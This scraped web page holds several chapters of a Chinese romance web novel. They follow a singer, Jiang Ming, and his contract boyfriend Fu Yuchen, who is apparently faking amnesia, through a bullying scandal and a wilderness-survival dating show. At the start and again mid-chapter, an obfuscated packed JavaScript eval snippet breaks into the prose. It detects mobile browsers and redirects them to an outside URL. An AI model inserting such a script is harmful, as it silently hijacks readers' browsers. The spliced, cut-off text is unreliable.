;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此刻,傅予沉的眼神也很温柔,但那温柔像是浮在表面的一层糖霜,底下是看不见的深潭。他的动作标准,却少了那份迫不及待的劲儿。 江洺顿了一秒,张口接住了那瓣橘子。 指尖不可避免地碰到他的嘴唇,傅予沉的手指几不可查地蜷缩了一下,迅速收回。 看,就是这样,接触后的细微逃离。 “甜吗?”傅予沉问,自己也吃了一瓣,但视线却落在江洺手中的平板上,看着那些热搜词条,眉头几不可查地蹙了一下,又很快展开,换上了担忧的神色,“这些……哥哥看着会不会不舒服?要不要让团队处理一下?” 他指的是恐水症被大规模讨论。 “没事。”江洺咽下橘子,清甜的汁水在口中化开,心里却泛着微妙的酸涩,“迟早的事。” 傅予沉点点头,没再说什么,只是又掰了一瓣橘子递过来。这次,江洺伸手接了过来,自己送进嘴里。 傅予沉的动作顿住,指尖在空中悬停了一瞬,才默默收回,继续剥自己的那一半橘子。他没有问为什么,但江洺感觉,周围空气似乎凝滞了半分。 江洺知道,自己刚才下意识的拒绝,可能也泄露了什么。他在试探,对方又何尝不是在观察? 他们像是在演着一场心照不宣的戏,却又无比在意对方,“入戏”和“演技”各占了几分。 …… 江洺笑了笑,仿佛闲聊般突然开口,“怎么,不喜欢草莓了?” 傅予沉有片刻失神,很快调整过来,“橘子也很好吃,原来哥哥是真的很喜欢草莓?那我下次多买点回来!” 江洺失笑,带着些许亲昵开口,“是你喜欢草莓!怎么?连这个也忘了?嗯?” “怎么会……这不是怕哥哥腻味了嘛!”傅予沉自然地蹭上了江洺的肩窝,撒娇。 闻着鼻尖传来的,浅淡的木质香,江洺眼神微暗。 或许,傅予沉变了。 又或许,傅予沉根本没变,变的只是他的心态。 ——他,正在无法自控的……变成他母亲曾经的模样。 31. 很甜 舆论需要售后,资本需要热度。 节目组和几个代言品牌方迅速安排了联合采访和直播。 镜头前,他们是天造地设的一对。 江洺会被问到恐水症,他回答得谨慎而坦诚,感谢了节目组的照顾和……傅予沉的帮助。每当这时,傅予沉就会侧过头看他,眼神里满是心疼和鼓励,然后伸出手,轻轻握住江洺放在膝盖上的手,用力捏一下,仿佛在传递力量。 镜头捕捉到这一幕,总能引发一片尖叫。 傅予沉会被问到失忆的感受和‘虚拟’的记忆。他会露出一点恰到好处的迷茫,然后目光坚定地看向江洺,说,“虽然想不起具体的事,但我知道,保护他、让他开心,是我最重要的事,现在也是。” 情话朴实,却因为他真挚的眼神而杀伤力巨大。江洺则会配合地微微低头,嘴角噙着一丝感动的、略带羞涩的笑意。 他们配合默契,互动自然,每一个对视,每一句回应,都精准地戳在CP粉的嗨点上。 直播数据再创新高,合作品牌方喜笑颜开。 只有江洺自己知道,这甜蜜的假面之下,是怎样的暗潮汹涌。 他像是一个捡到了珍宝的乞丐,因为太害怕失去,警惕地观察着每一次互动。 最让江洺在意的一次,是在某个深度访谈中。 主持人问了一个颇为犀利的问题,“傅老师,如果……我是说如果,你的记忆完全恢复了,想起了和江老师之前可能不那么愉快的一些过往,你会怎么处理?现在的感情会改变吗?” 问题抛出的瞬间,江洺感觉到傅予沉握着他的手,几不可查地僵硬了一下,力道甚至微微收紧,弄疼了他。 镜头特写推近。 傅予沉沉默了两秒,这两秒在直播中显得格外漫长。 他脸上惯常的温和笑容慢慢敛去,露出一种更沉静、更深思的表情。这个表情……江洺很陌生,不属于失忆的傅予沉,更像他记忆中那个在谈判桌或颁奖礼上,冷静锐利的影帝傅予沉。 然后,傅予沉缓缓开口,声音比平时低沉,“记忆是过去的自己,而现在的我……”他转过头,看向江洺,目光深深,像是要望进他灵魂深处,“现在我的心跳,我的感受,是真实的。它们告诉我,我想保护眼前这个人,想和他在一起。过去……或许没那么重要。” 这段话堪称完美。既承认了失忆事实,又表达了坚定不移的现在,还将问题升华到了“感受真实”的层面。现场观众掌声雷动,主持人也连连赞叹。 只有江洺,在那双深邃的眼眸注视下,手指微僵。 “没那么重要”。 他说“没那么重要”,而不是“我不记得”或“那都是假的”。 他在暗示什么?还是在……安抚什么? 访谈结束,回到后台休息室,只剩他们两人。傅予沉似乎松了口气,松了松领口,对江洺露出一个如释重负的、带着点疲惫的笑容,“刚才的问题真刁钻,吓我一跳。” 又是那种毫无阴霾的、属于“失忆男友”的笑容。 江洺控制自己压下一切疑虑,勾了勾唇角,“你明明表现的很好。” “哦,是吗?”傅予沉下意识靠了过来,像是以往做过许多次地那样,寻求贴贴抱抱,却又有片刻的迟疑。 江洺却突然转头,在他靠近的一瞬,亲在了他的唇角,“奖励。” 一触即分。 看着江洺转身离开的背影,傅予沉下意识摸了摸唇角,仿佛有一簇细小的电流,沿着唇瓣,酥麻到了心底。 他开始反思,之前他仗着失忆,缠着江洺要“名分”的时候,有过这种待遇吗? 原来,被江洺“爱”上,是这种感觉吗? 如果,向江洺坦白他已经恢复了记忆,一切是不是会像是肥皂泡一样,瞬间湮灭无声,他们又回到曾经“死对头”的模样,或者因为欺骗与谎言……关系更坏?傅予沉前所未有的踌躇起来。 在这场意外与合约恋爱之前,如果有人告诉他,他会在某一天,因为江洺而变得如此懦弱,他一定会认为那人疯了。 而现在,他感觉自己疯了。 因为,他好像正……无法自控的,爱上了自己曾经的“死对头”。 -- 几天后,一个名为#娱乐圈霸凌真相#的话题悄然爬升热搜。 最初只是一些模糊的爆料截图和所谓“内部人士”的匿名投稿,暗指某顶流歌手当年对后辈的“严苛要求”另有隐情,实则是排挤和打压。很快,矛头在精心引导下,明确指向了江洺和夏晴的旧怨。 夏晴的名字再次被大规模提及。这一次,不再是游乐园里狼狈的小丑,而是‘忍辱负重’、‘终于勇敢发声’的受害者形象。 他的粉丝群情激愤,路人也被带动情绪,江洺刚刚因为恐水症积累起的公众同情,瞬间因为“强势霸凌者”被推到了另外一面。 舆论的风向,变得微妙而危险。 江洺刷着手机,脸色平静,该来的总会来。游乐园中的冲突,夏晴和他背后的团队,果然不会善罢甘休。 就在这时,傅予沉的电话打了进来,声音透过听筒传来,带着一种江洺从未听过的、冷硬的质感,与这些天他刻意维持的温柔截然不同。 “哥哥,网上的东西别看了,团队在处理。” “夏晴那边,我会……找顾学长想办法解决。” “你什么都别担心。” 挂了电话,江洺看着暗下去的手机屏幕,慢慢靠进沙发里,闭上眼睛。 -- 舆论愈演愈烈,甚至有些‘自以为正义’的人,通过微博私信大骂江洺的虚伪。舆论总是这样,天然的同情弱者。 几天前,他是一个受过巨大创伤的‘恐水症’患者,受到了无数的关怀与安慰。 现在,他是个‘霸凌新人’的‘娱乐圈恶霸’,自然应该被攻击、报复。 骂的更为厉害的,还有那些以为善意被利用,脱粉回踩的路人。在以公司的名义发了份,在这个圈子里并没有什么效力的‘律师函’之后,江洺就把这件事放诸脑后了。 不是不在意,只是在这个圈子里待久了,习惯了。 在这个名利场里,任何感情与行为都在被无数倍的放大,恨与爱,都来的热烈,去的迅捷。 【爱之欲其生,恶之欲其死。既欲其生,又欲其死。】 那么,在恋爱合约下,傅予沉对他的“爱”,又能持续多久呢?持续到合约结束那天吗? ……手机在掌心震动到第三下时,江洺才从一份枯燥的‘荒野生存急救指南’PDF中回过神。 是虞绍发来的加密文件链接,附言简短,【有人在帮你。】 一种微妙的预感掠过心头,江洺点开链接,输入虞绍同步发来的密码。 加载圈转了似乎比平常更久,然后,一个视频播放界面跳了出来。 背景是熟悉的、堆满器材和杂物的后台走廊,嘈杂的人声和远处舞台的音乐作为背景音。 画面一角的时间戳,精准地指向三年前那个引发无数风波的音乐盛典日期。 江洺的呼吸几不可查地滞了滞。 镜头开始晃动,对准了正在做最后拉伸的他,他穿着彩排的便服,额头带着薄汗,表情是惯常的冷淡,正和身边的舞蹈总监低声交流。 然后,夏晴和他的小团队进入了画面。 接下来的十分钟,江洺像在看一场陌生又熟悉的电影。 他看到了当年二十三岁的自己,因为连续彩排而眉宇间带着疲惫,但眼神依旧锐利。他看到了夏晴,比现在更青涩,笑容却已带上精心计算过的弧度,在跳一段并不复杂的齐舞时,连续几次抢拍或慢拍,动作绵软无力。 他看到自己叫了停,走过去,语气平静但不容置疑地指出了问题,并示范了正确的节奏和发力点。 “……基础节拍是骨架,骨架不稳,再多的表情和互动都是无用功。还有时间,抓紧练。” 没有怒吼,没有羞辱,只是专业领域内直白的指正。 甚至在他示范时,夏晴的一个伴舞还下意识跟着点了点头。 然后,是夏晴的反应,年轻偶像脸上的笑容僵住,闪过一丝被当众指正的难堪和不服,但他很快掩饰过去,乖巧地说,“谢谢江老师指导,我再练练。” 到这里,视频内容和当年夏晴团队放出的、经过恶意剪辑的‘江洺冷脸训斥新人’片段前半部分基本吻合。 但接下来的,是江洺从未见过的后半部分。 夏晴和他的团队走到镜头边缘,背对着江洺的方向,然后夏晴脸上乖巧的笑容瞬间消失,取而代之的是一种混合着恼怒和不屑的表情,他对着身边经纪人压低声音,语气是截然不同的轻蔑。 “嘁,摆什么前辈架子……不就是比我早出道几年么?跳得也就那样,管得倒宽。” “放心,粉丝就吃我这款,谁 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两人的目光隔着一层玻璃,在空中遥遥交汇。 傅予沉顿了一下,随即朝江洺露出了一个笑容。 很自然,带着点询问的意味,仿佛在问‘怎么了?’ 但江洺却敏锐地捕捉到,在那个笑容绽开前,傅予沉的视线似乎先在他握着手机的右手上停留了极短暂的一瞬。 那眼神里没有慌乱,没有邀功,只有一种……深沉的、一切尽在掌握的平静。 是他。 -- 反击的浪潮比预想中来得更快、更猛。 就在他看完视频后不到两小时,那个完整的后台视频,已经被技术处理掉可能涉及他人隐私的部分,以一种‘资深圈内人看不下去,放出完整真相’的姿态,在几个专业娱乐论坛和资深记者群里悄然流传开来。 没有买热搜,没有大规模营销号搬运,却传播的很快,因为每个看到的人都被这反转惊得目瞪口呆。 紧接着,是一份新的,措辞严厉的律师声明,点名了几个跳得最欢的夏晴系营销号。 再然后,是几位业界公认德高望重的前辈,以回忆往昔、感慨如今行业风气的方式,侧面佐证了江洺的专业与负责。 一套组合拳,行云流水,步步为营,舆论以肉眼可见的速度逆转。 #夏晴人设崩塌##当年真相#等词条迅速攀升。 曾经一边倒心疼夏晴、指责江洺的声音,变成了对夏晴“两面派”、“倒打一耙”的群嘲,和对江洺“专业反被污蔑”的同情与敬佩。 夏晴团队的沉默,成了默认。 他最新一条宣传微博下的评论区,已然沦陷。 -- 江洺刷着手机,看着这场因他而起、却又似乎与他无关的风暴,心情奇异得近乎平静。他像一个站在安全屋里的观众,看着外面狂风暴雨,而制造风雨的人,此刻正端着一盘洗好的水果,若无其事地坐到他身边。 “哥哥,吃草莓吗?很甜。”傅予沉用叉子叉起一颗草莓,递过来。他刚洗过澡,换了家居服,头发微湿,身上带着清爽的,与江洺身上相似的沐浴露气息,表情放松,仿佛完全不知道外面正在发生什么。 江洺看了他一眼,接过叉子,没有立刻吃。 “夏晴那边……”他开口,声音平静,目光却盯着傅予沉的脸,“好像安静了。” 傅予沉自己也吃了一颗草莓,闻言头也没抬,语气平淡得像在讨论水果品种,“嗯,吵的人累了自然就安静了。” 他顿了顿,又叉起一块,再次递到江洺嘴边,这次抬起了眼,眼神清澈,带着点纯粹的期待,“这个更甜,尝尝?” 又一次,回避核心问题,用亲昵的动作和无关紧要的话题打断可能的深究。 江洺低头,犬齿咬破了草莓的外皮,流出一抹淡红的汁液。 “嗯,确实很甜”。 然后在傅予沉目瞪口呆的眼神中,江洺叼起剩下半颗草莓,凑到了他的唇边,“你也尝尝?” “咚咚咚……” 傅予沉感觉,鼓噪的心跳,比以往任何一次都热烈。 吵的他几乎无法思考,下意识咽下了那半颗草莓。 确实,很甜。 ——甜的他几乎想要,一直“失忆”下去。 32. 荒野求生一 直升机螺旋桨的轰鸣声逐渐远去,最后一丝人造的喧嚣被山林间的寂静吞没。 傅予沉还是没能找到机会,向江洺坦白……或者,仅仅是因为他不想。 江洺踩在略显松软的林地上,环顾四周,没能注意到傅予沉复杂的眸光。 节目组选定的这片山区远离水源,目之所及是茂密的针阔混交林,空气清冽,带着泥土和草木的气息。 六位嘉宾,加上寥寥几个跟随的摄像和安保,被这片原始的绿色悄然包裹。 “欢迎来到《致命心跳》第三期——荒野共生!”总导演丁明志的声音通过每个人佩戴的耳麦传来,比往常多了几分肃穆,“在这里,没有剧本,只有生存。你们将度过接下来的48小时,依靠智慧、协作,以及你们手中有限的资源。” 六只颜色各异的背包被放在空地中央的简易木台上,像等待被拆分的命运礼盒。 “首先,根据上期个人最终排名,依次挑选购买你们的‘初始生存包’。注意,每只包内容不同,选择后不可更换。”导演顿了顿,补充道,“此外,你们还可以使用个人账户中剩余的‘心动币’,在节目组设立的临时补给点兑换额外物资。补给点位置将通过任务线索解锁,且物资限量。” 江洺排名第一,第二是苏蔓,第三傅予沉,第四周明轩,第五陆衡,第六夏晴。 江洺收回视线,走向木台。六只背包从外观就能看出差异,上面分别贴着醒目的价签,以及内里的物资,可谓是明码标价、童叟无欺。 【奢华生存包:心动币x4000,顶级双人帐篷、保暖睡袋、便携净水器、专业炉头套锅、多功能工兵铲、头灯、大量高能食品、齐全急救药品。 标准生存包:心动币x3000,单人简易帐篷、薄睡袋、铝制水壶、多功能刀、火柴、压缩饼干、能量棒、基础急救包。 基础生存包:心动币x2000,防水布(可搭棚)、应急毯、塑料水壶、打火石、少量压缩干粮、简易消毒用品。 简易生存包:心动币x1500,大型防水布、普通毛毯、空水瓶、镁棒、便携匕首、几块巧克力。 挑战生存包:心动币x500,小块防水塑料布、锡纸保温毯、小刀、一包食盐、一根能量胶。 曙光线索包:心动币x250,仅一支手电。】 “哦,对了,”丁明志的声音透过耳麦传来,带着一种毫不掩饰的愉悦,“在开始前,宣布一条重要规则:你们面前的生存包,标有不同价格,需要使用你们前两期累积的‘心动币’购买。请注意,心动币是以‘情侣’为单位共同持有的账户。购买则无需双方都同意,直接从共同账户中扣款。” 话音落下,众人陷入了一阵短暂的沉默。 苏蔓和周明轩对视一眼,表情还算平和。陆衡推了推眼镜,镜片后的目光若有所思,夏晴则猛地攥紧了拳头,嘴唇抿得发白——上期冲突后,他和陆衡的‘情侣账户’里,心动币恐怕是最寒酸的。 江洺心中一跳,共同资产,购买个人物资。 -- 直播间的弹幕跳动的飞快。 【这哪里是求生挑战,分明是赤裸裸的人性与关系试炼。】 【这丁导从哪儿学的这些‘歪门邪道’?这是想把‘恋爱综艺’做成‘分手综艺’?】 【哈哈,换句话说,参加过丁导的综艺,还能不分手的,肯定能恩爱一辈子。】 【哈哈哈,言之有理,记下笔记,留着考验我那——未曾发货的男朋友。】 【哈哈,丁导这是教咱谈恋爱呢!】 【话说,怎么感觉江哥、傅哥他们没有上一期甜了?】 【嗐,才开始呢,甜不都是留在结尾的吗?】 【那到也是……】 【说不定是工业糖精,江郎才尽了……】 【hyb滚一边去。】 -- 在后台看着各位嘉宾的心绪起伏曲线,以及直播间飞快滑动的弹幕,丁明志笑着向看直播的观众推销,“致命心跳,帮你看清恋爱中的他!扫描屏幕下方二维码,参与节目互动,赢嘉宾签名、节目周边等大奖哦!” 无语片刻,江洺不动声色地侧目,看向身旁的傅予沉。 脱离了共同生活的点点滴滴,没有了那些如芒在背的‘违和感’,上了节目反倒让江洺十分安心。 毕竟不管真相如何,不管傅予沉是否恢复了记忆,在这里,在摄像头下,他都必须得“入戏”。 他想过了,他母亲之所以最后变得歇斯底里,不过是没有足够的筹码,与反馈……最终生生逼疯了自己。 可他不一样,他有足够的筹码。 至少,在这场综艺结束之前……又或者说,在那个合约结束之前,他有足够的筹码。 因为合约,也因为节目录制中,此刻的傅予沉,无论是否出自本心,总会给他……他想要的“反馈”。 至于结局如何,无非落子无悔,输赢自负。 -- 想明白之后,江洺感觉身心豁然一轻,他收敛思绪,将注意力转移到节目上来。 他们的共同账户余额是5980心动币,是目前最“富裕”的组合。 如果按照最理智、最利己的选择,他应该拿那个4000的奢华包,里面应有尽有,能最大程度保障舒适和安全。 但他认为,影后苏蔓和周明轩那对‘真情侣’,或许更需要那个。况且,他也有些恶劣的,想要看看傅予沉的选择,在“资源”并非无限的情况下。 傅予沉脸上没什么明显的表情,只是目光扫过那些背包和价签,又迅速转开。 江洺捕捉到他眉梢几不可查地动了一下,那是一种极快的、近乎本能的评估神色,仿佛内心在进行着高速运算,随即被他用略显茫然的眼神掩盖过去。 江洺的手指在奢华包上方停顿了一瞬,最终越过了奢华包,拿起了那个标价3000的墨绿色标准生存包。他拉开拉链快速确认了一眼内容,和公示的一样。标准,够用,性价比相对合理。花费3000后,账户还剩2980。 “江老师真是体贴,把最好的留给我们。”苏蔓笑着走上前,她看起来状态松弛,目光在奢华包和标准包之间游移了一下,然后出乎意料地,她拿起了那个2000的基础生存包。“我们也省着点花。”她对周明轩眨眨眼,周明轩笑了笑,没有异议。 压力来到了傅予沉这里。他是个人第三,现在需要为自己挑选并购买。剩下的包里,最贵的是另一个3000的标准包,1500的简易包,500的挑战包,以及250的曙光线索包。 他们账户还剩2980,他若选择标准包,账户将瞬间清零,甚至倒欠节目组20。 若选择挑战包,则还剩2480,留有较多余地。 所有人的目光聚焦过来。夏晴更是死死盯着,眼神怨毒。 傅予沉走上前,伸手拿起了那个500的挑战生存包。他转向江洺,眼神清澈,语气带着一种为“小家”打算的认真,“哥哥,我选这个。” 他晃了晃轻飘飘的挑战包,“东西少点,但关键都有。我们钱省着点,后面找补给点或者做任务可能更需要心动币。” 理由充分,姿态牺牲,一切符合‘深情男友’人设。 “好。”江洺点头,没有多言。傅予沉支付500,账户余额显示变为2480。 -- 第四名的周明轩给自己选了1500的简易包。他们共同账户支出3500,账户余额不明,但显然也做了权衡。 轮到陆衡和夏晴的队伍,他们的脸色很是不好看,因为仅剩的奢华包超过了他们的购买能力,而250的曙光线索包又实在是约等于无。 最后,又跟节目组讨价还价了一番之后,节目组拿出了价值1500的简易包——备用版。 陆衡和夏晴几乎花光他们本就拮据的积蓄,选择了1500的简易包和250的曙光线索包。 夏晴捏着那只仅有手电和缥缈线索的腰包,脸色铁青,看向江洺和傅予沉方向的眼神,阴沉得几乎滴出水。 物资分配完毕,导演又宣布了一个重磅规则,‘自由组队’!。 江洺……果然不愧是致命心跳。 先花共同账户买东西,再来一个自由组队。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343601|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这不就是一个大型‘分家产离婚,然后自由再婚’现场么? “呵呵”,江洺意味不明的笑了笑。 站在一旁的傅予沉立刻挡在了他前面,“哥哥,你不会离开我吧?” 江洺抬手抚摸他的侧脸,笑容亲切,“当然不会。” “你也不会离开我的吧?予沉?” 傅予沉心脏骤然一缩,片刻之后,才消化了“予沉”两字所代表的亲昵,找回声音,“当然,不会。” 江洺似笑非笑的看了眼他佩戴在手腕上的心率手环,“说谎了哦,予沉。” 傅予沉感觉心脏又是一跳,有点怀疑,江洺他……在试探什么? 很快,他就稳住了心态,笑容热烈又明媚,“我只是因为哥哥喊我‘予沉’,而疯狂心动。” 江洺感觉自己被那笑容晃了一下神,亦是轻笑了一声,“是么?” “嗯!”傅予沉微微靠近,压低声音,“哥哥,我喜欢你这样叫我。” “是吗?”江洺的脸上带着兴味,“那下次试试?” “试……试?”傅予沉不解,直到他看到了江洺的口型。 【床|上,试试】 脑海里骤然浮现一大段不能播的,傅予沉感觉大脑有一瞬间过载,发生了宕机,许久之后他才找回声音,“好……好。” 有时候,傅予沉几乎感觉江洺已经勘破了他的伪装,却在下一刻,他又感觉,江洺像是什么都没有察觉到……只是单纯的、认真的,在“恋爱”。他享受当下,恐惧未来,想要坦白,却又恐惧那个答案。 一颗心,因为“江洺”两个字而七上八下,比“失忆”时更甚。 -- 【啊啊啊,kswl】 【前面那个说不甜的,你给我回来!】 【虽然但是,我感觉‘剧本’,或者说‘人设’有点微妙的变化。】 【是吗?没看出来……】 【之前,能明显看出来,是傅予沉在“舔”,但是从这一期开始,好像攻守异位,变成江洺在“钓”?】 【以前游刃有余的是傅哥,而现在我江哥掌握着节奏!】 【你别说,你还真别说,我也品出了点感觉。】 【哈哈哈,江郎没有才尽,江狼他换‘人设’啦啦】 【哈哈,恰逢傅哥还失忆了,这岂不是有一种刚出新手村,就碰到了顶级魅魔的感觉……】 【我有一个猜想……】 【我也有……】 【操,最烦谜语人了!】 【有没有可能,傅哥他已经恢复记忆了?】 【卧槽,更好嗑了,怎么回事?】 【你们就尽管嗑吧,不用管你傅哥死活……】 -- 第一个生存任务发布:“请各队在日落前,于指定区域内建立安全露营点,并成功生火。计时开始!” 前往营地的路上,江洺背着那份量不轻的标准包,傅予沉背着轻若无物的挑战包,林间寂静,只有脚步声和呼吸声。 “哥哥,”傅予沉像是没话找话,忽然开口,声音在山林间显得格外清晰,“你刚才……是不是觉得我选得太便宜了?” 江洺脚步未停,“为什么这么问?” “因为……我们钱其实够。”傅予沉的声音低了一点,像是在解释,又像是在试探江洺的真实想法,“如果你觉得我应该用更好一点的,我现在回去换……还来得及。” 江洺停下,转身看他。 林隙间的光落在傅予沉脸上,让他试图表现出的坦诚显得有些模糊。 “不用。”江洺语气平淡,“就像你说的,省着点,后面有用。”他刻意重复了傅予沉的理由。 傅予沉似乎松了口气,“嗯,哥哥说得对。” 其实,他还有一个理由——让那个讨人嫌的‘夏晴’无包可用。 当然,这个理由不符合他现在的人设,就没必要告诉江洺了。 或许,江洺也已经洞察了他的小心思。 并“纵容”着。 傅予沉抬手按了按心口,因为……胸腔里的那颗心,又不听话的乱跳了起来。 33. 荒野求生二 夜色如浓墨,彻底浸透了山林。 白天的喧嚣与忙碌散去,只剩下篝火哔剥的轻响,风吹过树梢的呜咽,以及远处偶尔传来的一两声辨不清来源的窸窣。 黑暗像有形的实体,从四面八方挤压过来,唯一的光源便是眼前这堆跳动不安的橘红色火焰。 简陋的帐篷在火光映照下,投出扭曲摇曳的影子。 江洺和傅予沉分坐在火堆两侧,隔着跳跃的热浪和明明灭灭的光线。 第一个夜晚的“守夜”任务已经通过耳麦下达:两人需轮流值守上半夜“至凌晨1点”和下半夜“1点至日出”,以防备“可能的野生动物侵扰”和确保火种不灭。 节目组的无人机在远处高空盘旋,闪烁着微弱的指示灯,像一只沉默的眼睛。 “哥哥先休息吧,我守上半夜。”傅予沉往火堆里添了根粗些的枯枝,火星溅起,照亮他低垂的侧脸。 他的声音比白天低沉了些,带着一丝不易察觉的疲惫,但语气依旧是那种习惯性的、带着保护的主动。 江洺没反对,他确实累了,紧绷了一天的神经和体力消耗让倦意上涌。 他钻进那个狭小的帐篷,身下是防水布和枯叶铺就的简陋地铺,旁边放着属于他的标准生存包。 棚内空间逼仄,勉强能容纳两人并排躺下,此刻只有他一人,却依然能感受到属于另一个人的、若有似无的气息。 他没有立刻睡着,而是侧躺着,脸朝向棚外篝火的方向,眼睛半阖,透过防水布不甚严密的缝隙,观察着外面那个坐在火光中的身影。 傅予沉的坐姿稍显放松,靠在身后的矮木桩上,仿佛有些难以抉择的心事。 火光在他脸上投下深深浅浅的阴影,让他平时显得过于清澈甚至有些‘钝感’的五官,此刻显出一种陌生的、沉静的锋利。 这不像失忆后那个思维直白、情绪外露的傅予沉。 江洺的呼吸放得又轻又缓,他看见傅予沉偶尔会抬手揉一下太阳穴,眉头微蹙,像在抵抗头痛或某种不适。 有几次,他的视线会无意识地落在跳跃的火苗上,眼神放空,嘴唇抿成一条僵直的线,仿佛陷入了某种遥远的、并不愉快的思绪。 时间在寂静中缓慢流逝,林间的温度越来越低,即使有篝火,寒意也丝丝缕缕地渗透进来。 江洺裹紧了自己的薄睡袋,仍然觉得手脚有些冰凉。 -- 大约午夜时分,耳麦里传来了新的任务提示,声音轻柔,但在寂静中格外清晰。 【星空密语】任务触发。 “请当前值守的嘉宾,叫醒你的同伴。两人一同前往营地东侧五十米处的开阔地带。在那里,分享一个‘从未告诉过他人的秘密或愿望’。” “分享过程,镜头将只进行远距离轮廓拍摄与模糊环境音收录,保障隐私。完成任务,可获得心动币奖励,并解锁一条关于‘隐藏水源’的线索。” 傅予沉显然也收到了提示,他怔了一下,随即转头看向棚内。 两人的目光在昏暗中隔着一段距离相遇。 “哥哥,”傅予沉的声音放得很轻,“有任务……要去那边开阔地。”他指了指东侧。 江洺坐起身,钻出棚子。夜风立刻包裹上来,他下意识瑟缩了一下。 下一秒,带着体温的军绿色毯子就披到了他肩上——是傅予沉从自己那个简陋挑战包里拿出来的毛毯,还残留着他身体的暖意。 “谢谢。”江洺低声道,没有拒绝。 两人一前一后,借着傅予沉手中强光手电的光芒,小心地朝着坐标指示的开阔地走去。 远离了篝火,黑暗更加浓重,手电筒发出一束白色光,照亮脚下盘根错节的树根和潮湿的苔藓。 傅予沉走在前方,不时停下回头照亮江洺脚下的路,手臂偶尔抬起,虚挡在可能刮蹭到的枝条前。 沉默在行走中蔓延,只有脚步声和呼吸声。 这种远离人群、置身绝对自然与黑暗中的独处,让白天那些刻意维持的“表演”和“试探”,似乎都被逼到了角落,某种更原始、更真实的情绪在无声滋长。 开阔地是一小片天然的石滩,碎石裸露,视野开阔。 江洺抬头望去,没有被树冠遮挡的夜空,星河璀璨得令人心旷神迷。 他从未在城市里见过、如此浩瀚清晰的银河横贯天际,无数星辰冰冷而璀璨地闪烁着,洒下清辉。 节目组的无人机在极高的夜空中,变成了一个几乎看不见的小红点。 两人在石滩上找了块相对平坦的大石头坐下,依旧隔着一点距离。手电关闭,星光和月光成了唯一的光源,勾勒出彼此朦胧的轮廓。 “任务要求,”傅予沉先开口,声音在空旷的星空下显得有些缥缈,“分享一个……没告诉过别人的秘密或愿望。” 他顿了顿,转向江洺,星光落在他眼中,映出些许无措和紧张,“哥哥先来?” 他在把主动权交过来,同时也在拖延自己需要‘创作’的时间。 江洺拢了拢肩上的毯子,仰头看着星空。 冰冷的空气吸入肺腑,让他头脑异常清醒。这是一个绝佳的试探机会,在星光下,在所谓的“隐私”中,在心率监测的评估下。 唯一的顾虑是,他是否应该打破这份"虚幻"的美好。 半响,江洺深吸一口气开始了他的讲述。 -- “我小时候,”江洺缓缓开口,声音平静,像在叙述别人的故事,“曾经以为,星星是海面上死去的水母变的。因为它们也会发光,也会随波逐流,最后消失在天际。” 他停顿了一下,这不是秘密,更像一个荒诞的童年联想。 但他接着说了下去,语气依旧平稳,“后来我知道不是。但有时候,比如现在,看着它们,还是会想起那种……在水里窒息的感觉。” 他提到了“海”,提到了“窒息”,这是擦边球,是故意触碰自己最深的恐惧,也是测试傅予沉的反应。 失忆的傅予沉会大概立刻心疼地安慰,而恢复记忆、知道更多内情的傅予沉,反应可能会更复杂。 傅予沉的身体在星光下几不可查地绷紧了。 他没有立刻说话,沉默了几秒,这沉默在任务要求的‘分享’语境下,显得也并不突兀。 然后,他声音有些发干地开口,“不会的,哥哥。你现在很安全,星星是遥远宇宙跨越光年,赶来的微光……不是海。” 他试图安慰,但措辞有些苍白,甚至带着一丝急于结束这个话题的仓促。 江洺的心率监测没有太大波动,原来在这个人面前,他已经可以神色如常地提起“海”,而不触发应激。 没有那些难以控制的恐惧与颤栗,没有像是要窒息的错觉,一切平和的像是……一场美梦。 他该是高兴的,却并没有那么高兴。 因为,他感觉到,身边傅予沉的呼吸节奏,乱了。 他几乎可以肯定,傅予沉察觉了他的试探,却没有想要“坦白”。 这是他为傅予沉选择的,一个绝佳的“坦白”的机会,在节目的录制中,却并没有“收音”,傅予沉可以诉说他想要说的一切,而不担心他的“过激”反应。 镜头下,他们都得“演”。 这是一个有缓冲,有余地的,绝佳的“坦白”机会。 可是,为什么?为什么他还要隐藏,要继续演一只他喜欢的,温驯“小狗”? -- “该你了。”江洺转过头,在昏暗星光下看向傅予沉模糊的侧脸。 既然“造梦者”不愿意醒,他也愿意继续沉溺。 因为,这一切对于他而言,确实是——一场美梦。 傅予沉似乎深吸了一口气,抬起头,也望向星空,他的侧影在星辉下显得有些孤独。 “我……”他开口,又停住,像是在艰难地搜刮词汇,“我希望……”他又卡住了,手指无意识地蜷缩起来,握住了身下的碎石。 江洺耐心地等待着。看着他努力‘扮演’一个失忆者该如 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连带着那些暂时被搁置的、针锋相对的过往一起,接纳一个完整的“他”,复杂的“爱”。 -- 星空下陷入一片沉默,只有风吹过石滩的细微声响。 过了许久,江洺才轻声问,“傅予沉,你现在看着我,在想什么?” 傅予沉猛地转过头,在昏暗星光中,江洺似乎看到他瞳孔骤然收缩了一下。 他张了张嘴,似乎想用惯常的甜蜜话语搪塞过去,但最终,那些话堵在了喉咙里。 他只是看着江洺,眼神在星光下翻涌着极其复杂难辨的情绪,有挣扎,有迷惑,有一闪而过的痛楚,或许还有一丝来不及掩饰的、属于‘傅予沉’本人的深沉审视。 “我在想……”他的声音沙哑得厉害,“哥哥的眼睛里,映着星星。” 最终,他避开了真实想法,给出了一个浪漫却空洞的答案。 但就在他说完这句话,想要移开视线时,意外发生了。 “嘶——”一声轻微的、仿佛蛇类游动的声音从他们侧后方的黑暗灌木丛中传来! 傅予沉几乎是瞬间弹起,以惊人的速度侧身挡在江洺身前,同时手中的强光手电“唰”地亮起,光柱猛地射向声音来源! 他的动作迅猛如猎豹,全身肌肉绷紧,呈现出一种完全戒备的战斗姿态。 